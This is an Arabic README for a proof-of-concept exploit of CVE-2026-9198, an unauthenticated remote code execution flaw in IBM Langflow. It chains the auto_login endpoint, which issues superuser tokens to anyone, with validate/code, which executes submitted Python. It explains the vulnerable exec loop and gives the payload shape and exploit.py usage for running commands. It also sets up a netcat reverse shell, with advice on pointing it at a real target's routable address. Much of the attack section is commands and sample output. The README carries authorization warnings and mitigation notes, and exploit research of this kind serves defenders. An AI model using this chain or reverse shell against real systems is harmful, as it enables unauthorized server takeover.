
إثبات مفهوم لاستغلال CVE-2026-9198، وهو ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) غير مصادق عليها في IBM Langflow OSS، عبر ربط نقاط النهاية auto_login و validate/code. يتضمن بيئة مختبر Docker قابلة للاستغلال للاختبار المصرح به والأغراض التعليمية.
إثبات مفهوم الاستغلال ومختبر Docker متكامل لـ CVE-2026-9198، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد غير مصادق عليها في IBM Langflow OSS.
يستغل هذا الكود نقطتي نهاية — auto_login (التي تمنح رمز SUPERUSER
لأي شخص) وvalidate/code (التي تشغّل Python يقدمه المهاجم) — للحصول على
تنفيذ تعليمات برمجية كمستخدم خدمة Langflow، بدون الحاجة إلى أي بيانات اعتماد.
[!WARNING] للاستخدام في الاختبارات الأمنية المصرح بها والتعليم فقط. قم بتشغيل هذا حصريًا ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. مختبر Docker في هذا المستودع ضعيف عمدًا — أبقِه على جهازك ولا تعرضه أبدًا للإنترنت. أنت مسؤول عن كيفية استخدامك لهذا الكود.
| CVE | CVE-2026-9198 |
| المنتج | IBM Langflow OSS |
| الإصدارات المتأثرة | 1.0.0 – 1.10.0 |
| تم الإصلاح في | 1.10.1 |
| CVSS 3.1 | 9.8 حرجة — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-94 — تحكم غير سليم في توليد التعليمات البرمجية ('حقن تعليمات برمجية') |
| CISA KEV | نعم — معروف استغلاله في البرية |
الاستغلال عبارة عن سلسلة من خطوتين لا تتطلب أي مصادقة:
GET /api/v1/auto_loginيأتي Langflow مع تفعيل LANGFLOW_AUTO_LOGIN افتراضيًا. عندما يكون مفعلاً،
تصدر نقطة نهاية auto_login رمز JWT طويل الأمد من نوع SUPERUSER لأي
متصل، دون طلب أي بيانات اعتماد:
{ "access_token": "eyJ...", "refresh_token": "eyJ...", "token_type": "bearer" }
POST /api/v1/validate/codeمنذ الإصدار 1.3.0 تتطلب هذه النقطة مصادقة (كان ذلك هو الإصلاح لـ
CVE-2025-3248) — لكن الخطوة 1 منحتنا للتو رمز SUPERUSER صالحًا، لذا فإن البوابة
عديمة الفائدة. داخليًا تستدعي النقطة validate_code()، التي تترجم وتنفذ
كل تعريف دالة تستقبله:
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
try:
exec(code_obj) # <-- يشغّل تعريف الدالة
except Exception as e:
errors["function"]["errors"].append(str(e)) # <-- يتسرب الإخراج إلى هنا
تنفيذ عبارة def يقيّم قيم الوسائط الافتراضية الخاصة بها. لذا فإن دالة
وسيطها الافتراضي هو exec("...") تشغّل تعليمات برمجية عشوائية في اللحظة التي
يتم التحقق منها — ولا يتم حتى استدعاء الدالة. أي استثناء يُثار يتم التقاطه
وإرجاعه في الاستجابة تحت function.errors، وهو ما يستخدمه الاستغلال لقراءة
إخراج الأوامر عبر HTTP.
شكل الحمولة (يتم تغليف الأمر بـ base64 لتحمل أي علامات اقتباس):
def _(a=exec('... subprocess.run(<cmd>) ...; raise Exception(<output>)')):
pass
.
├── exploit.py # إثبات المفهوم (تنفيذ الأوامر + قشرة عكسية)
├── docker-compose.yml # مختبر ضعيف: langflow 1.10.0 + postgres
├── requirements.txt # requests
└── README.md
requests (pip install -r requirements.txt)docker compose up -d
يستغرق Langflow دقيقة أو دقيقتين ليصبح جاهزًا عند أول تشغيل. انتظر حتى يستجيب:
curl -fs http://127.0.0.1:9999/health && echo OK
الخدمة مرتبطة بـ 127.0.0.1:9999 عن قصد — لا يمكن الوصول إليها من شبكتك.
قم بتثبيت التبعية، ثم وجّه الاستغلال إلى المختبر.
pip install -r requirements.txt
python3 exploit.py --url http://127.0.0.1:9999 --cmd "id"
مثال على الإخراج:
[*] target: http://127.0.0.1:9999
[*] step 1: requesting SUPERUSER token from /api/v1/auto_login
[+] got SUPERUSER token: eyJhbGciOiJIUzI1NiIs...
[*] step 2: reaching RCE through /api/v1/validate/code
[*] executing command via validate/code: 'id'
[+] command output (returned via function.errors):
------------------------------------------------------------
uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)
------------------------------------------------------------
أي أمر يعمل: --cmd "uname -a && whoami && cat /etc/os-release".
ابدأ مستمعًا:
nc -lvnp 4444
ثم أطلق الحمولة. عندما يعمل الهدف في Docker على نفس الجهاز، تصل الحاوية
إلى مضيفك عبر host.docker.internal (Docker Desktop)؛ على هدف حقيقي
استخدم عنوان IP القابل للتوجيه:
python3 exploit.py --url http://127.0.0.1:9999 \
--reverse-shell --lhost host.docker.internal --lport 4444
ستحصل على /bin/sh تفاعلي على المستمع الخاص بك كمستخدم langflow.
| العلم | الوصف |
|---|---|
--url | عنوان URL الأساسي للهدف (مطلوب) |
--cmd | الأمر الذي سيتم تشغيله (الافتراضي id) |
--reverse-shell | تسليم قشرة عكسية بدلاً من تشغيل --cmd |
--lhost / --lport | مضيف ومنفذ استدعاء القشرة العكسية |
--token | استخدام رمز bearer مقدم وتخطي auto_login |
--timeout | مهلة كل طلب، بالثواني (الافتراضي 15) |
--insecure | تخطي التحقق من TLS (لأهداف https) |
LANGFLOW_AUTO_LOGIN=false،
وعيّن بيانات اعتماد حقيقية للمستخدم الفائق.validate/code الذي يبني عليه هذا)